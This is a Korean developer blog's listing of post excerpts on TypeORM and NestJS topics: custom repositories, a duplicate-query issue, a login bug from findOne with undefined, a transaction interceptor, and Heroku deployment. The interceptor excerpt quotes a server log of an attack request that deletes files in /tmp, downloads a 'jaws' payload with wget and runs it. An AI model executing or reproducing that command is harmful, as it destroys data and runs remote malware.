typeORM 7

TypeORM - Custom Repository 개선안

이전 내용 사실 이전에 TypeORM이 0.3.x 버전 이상으로 올라가면서 @EntityRepository(User) export class UserRepository extends Repository { async customMethod(userId: number): Promise { ... } } 위와 같이 @EntityRepository() 데코레이터를 사용해서 CustomRepository를 구현하는 것이 불가능해졌었기 때문에 typeORM 0.3 버전 이후의 Custom-repository - hou27 TypeORM - Custom repository(사용자 정의 레포지토리) 데이터 베이스 작업 로직을 작성하던 중 내가 작성한 함수를 typeORM에 정의된 메서드처럼 사용할 수 있는 방법이 있..

Backend/NestJS 2023.05.01

TypeORM - select distinct 이슈

문제 발견 혼자 작업하던 중 팀원과 성능 관련 얘기를 하던게 생각나서 로깅되던 Query문을 자세히 살펴봤는데, 작성한 쿼리보다 많은 쿼리문이 실행되고 있는 것을 발견하게 되었다. TypeORM 의도치 않은 중복 필터링 문제 개선 TypeORM 의도치 않은 중복 필터링 문제 개선 · Issue #168 · Quickchive/quickchive-backend 아래와 같은 코드 동작 시 const { categories } = await this.users.findOneOrFail({ where: { id: user.id }, relations: { categories: true, }, }); 쿼리가 2개 실행되는 현상 발생 메인 쿼리를 중복 필터링 쿼리로 래핑하여 수 github.com N + 1 문제 ..

Backend/NestJS 2023.02.21

TypeORM - findOne with undefined

이슈의 발현 프로젝트를 진행하던 중, 갑자기 다른 사용자의 계정으로 로그인된다는 이슈가 제보됐다. 그럴 수도 없고, 그래서도 안되고, 믿기지 않았지만 제보해주신 분이 보내온 캡처를 확인하니 분명 내 계정으로 로그인된 모습이었다. 다행히도 많은 도움을 주신 덕에 금방 원인을 파악할 수 있었다. 원인 현재 필자의 프로젝트는 카카오 로그인을 지원하고 있다. 아직 비즈 앱으로 등록하지 않아서 EMAIL을 필수 동의 항목으로 설정할 수 없어서 선택사항으로 두었었는데, 제보해주신 분이 최초로 카카오 로그인을 시도할 때 이메일 제공에 동의하지 않았고, 그 탓에 이메일로 사용자 식별을 하고 있는 우리 서버가 undefined 값을 기준으로 사용자를 찾았더니 내 계정이 찾아진 것이었다. ..? 여기까지 읽고 무슨 소린지..

Backend/NestJS 2022.11.07

NestJS - Transaction Interceptor 적용하기

진행 순서 문제 당면 해결 과정 근본적인 문제 개선 방법 - AOP Interceptor 구현 및 적용 본 포스트는 NestJS + TypeORM 환경에서 진행됩니다. 프로젝트를 진행하면서 어느 순간부터 자꾸만 504 Gateway Timeout Error 때문에 서버가 죽어버리는 현상이 발생했다. 그래서 서버 로그를 확인해보면 이런 로그 또는 {"level":"error","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws","name":"NotFoundException","response":{"error":"Not Found","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget..

Backend/NestJS 2022.11.01

TypeORM - 버전 0.3 && ORM이란?

지금까지 typeORM 0.2.45 버전을 사용 중이었다. 최근 0.3.4까지 업데이트가 되며 확인을 해보았더니 정말 많은 변화가 있었다. https://github.com/typeorm/typeorm/blob/master/CHANGELOG.md GitHub - typeorm/typeorm: ORM for TypeScript and JavaScript (ES7, ES6, ES5). Supports MySQL, PostgreSQL, MariaDB, SQLite, MS SQL ORM for TypeScript and JavaScript (ES7, ES6, ES5). Supports MySQL, PostgreSQL, MariaDB, SQLite, MS SQL Server, Oracle, SAP Hana, We..

Dev 2022.03.28

TypeORM - Custom repository(사용자 정의 레포지토리)

여기로! 현재 더 나은 방법을 포스팅해두었습니다. TypeORM-Custom-Repository-개선안 - hou27 TypeORM - Custom Repository 개선안 이전 내용 사실 이전에 TypeORM이 0.3.x 버전 이상으로 올라가면서 @EntityRepository(User) export class UserRepository extends Repository { async customMethod(userId: number): Promise { ... } } 위와 같이 @EntityRepository() 데코레 hou27.tistory.com ㄴ 이 글을 추천드립니다!! 들어가며 데이터 베이스 작업 로직을 작성하던 중 내가 작성한 함수를 typeORM에 정의된 메서드처럼 사용할 수 있는 방..

Backend/NestJS 2022.03.26

Heroku로 백엔드 배포하기

어느 정도 프로젝트를 진행하다가 우선 배포를 한번 진행하면서 에러를 체크하고 싶다는 생각이 들었다. 그래서 바로 실행에 옮겼다. NestJS Documentation | NestJS - A progressive Node.js framework Nest is a framework for building efficient, scalable Node.js server-side applications. It uses progressive JavaScript, is built with TypeScript and combines elements of OOP (Object Oriented Progamming), FP (Functional Programming), and FRP (Functional Reac docs...

개발 일지 2022.03.17